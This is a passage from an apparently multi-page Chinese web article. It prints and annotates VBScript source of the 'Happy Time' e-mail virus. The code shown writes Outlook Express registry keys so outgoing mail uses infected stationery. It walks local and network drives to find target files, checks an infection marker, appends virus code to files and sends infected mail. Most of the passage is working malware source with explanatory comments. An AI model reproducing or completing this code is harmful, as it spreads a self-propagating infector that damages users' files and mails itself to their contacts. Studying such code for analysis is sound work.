e Stationery"
SN = oe & "/Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook Express＼5.0＼Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name，前两个的值为1，后一个指向windows/untitled.htm
Web = Cs & "/WEB"
Set gf = Of.GetFolder(Web).Files
’得到windows/web文件夹里的文件
Od.Add "htt", "1100"
’向Dictionary里添加htt项目对
For Each m In gf
’遍历windows/web下的每一个文件
fext = GetExt(Of, Od, m)
’得到每个文件的扩展名
If fext <> "" Then
’如果扩展名不为空，则
Fw Of, m, fext
End If
Next
End If
End Sub
’******************************************************************
Sub mclose() 
document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记
window.Close
End Sub
’******************************************************************
Sub Fw(Of, S, n) 
’此时S为文件名，n为文件扩展名
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1) 
’只读模式打开该文件
mt = fc.ReadAll 
’读入全部文件流
fc.Close 
’关闭文件
If Not Sc(mt) Then 
’如果未感染过
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
’打开文件并在文件末尾进行写爱作
fc2.Write mt
fc2.Close
Msend (mmail)
’发带毒邮件
End If
End Sub
’******************************************************************
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then 
’如果读入的文件流中有Rem I am sorry! happy time
Sc = True 
Else
Sc = False
’表示已感染过，返回True,否则为False
End If
End Function
’******************************************************************
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
’初始化变量
If Of.FileExists(S) Then 
’如果S存在于当前文件夹中
fpath = Of.GetFile(S).ParentFolder
’得到文件的父目录名
fname = S 
’得到文件名
ElseIf Of.FolderExists(S) Then 
’不存在于当前文件夹中，则得到目录名
fpath = S 
T = True
Else
fpath = Dnext(Of, "") 
’得到当前盘符——即根目录
End If
Do While True
Set gf = Of.GetFolder(fpath).Files 
’得到当前目录下的所有文件对象
For Each m In gf 
’遍历每个文件
If T Then
If GetExt(Of, Od, m) <> "" Then 
’如果该文件是文件集合中的一员
FNext = m 
’则返回该文件名，供调用的函数或过程使用——感染或删除之
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then 
’如果没文件
T = True
End If
Next
fpath = Pnext(Of, fpath) ’
Loop
End Function
’******************************************************************
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then 
’如果如果指定的文件夹存在
Set gp = Of.GetFolder(S).SubFolders 
’就得到子目录数
pn = gp.Count
If pn = 0 Then 
’如果没子目录
Ppath = LCase(S) ’
Npath = LCase(Of.GetParentFolderName(S)) 
’得到父目录的小写形式
T = True
Else
Npath = LCase(S) 
’有子目录，得到其小写形式的集合 
End If
Do While Not Er ’ 
For Each pn In Of.GetFolder(Npath).SubFolders
’得到子目录下的子目录
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
’将字符串转化成小写
Npath = Of.GetParentFolderName(Npath) ’
If Of.GetFolder(Ppath).IsRootFolder Then 
’如果是根目录
m = Of.GetDriveName(Ppath) 
’就得到分区符
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
’******************************************************************
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives 
’得到所有的驱动器盘符
For Each d In dc 
’遍历每个驱动器
If d.DriveType = 2 Or d.DriveType = 3 Then
’如果是网络盘或本地盘
If T Then
Dnext = d
Exit Function
’如果是False，就返回当前盘，并退出本函数
Else
If LCase(S) = LCase(d) Then 
’如果是True且盘符相同，就令T为True
T = True
End If
If m = "" Then 
’如果m为空，就将盘符付给m
m = d
End If
End If
End If
Next
Dnext = m 
’返回盘符
End Function
’******************************************************************
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
’返回该文件扩展名的小写
GetExt = Od.Item(fext) 
’返回Dictionary对象中指定的key对应的item——即0001(exe)等
End Function
’******************************************************************
Sub Rw(k, v) 
’写注册表
Dim R
On Error Resume Next
Set R =

上一页  [1] [2] [3] [4]  下一页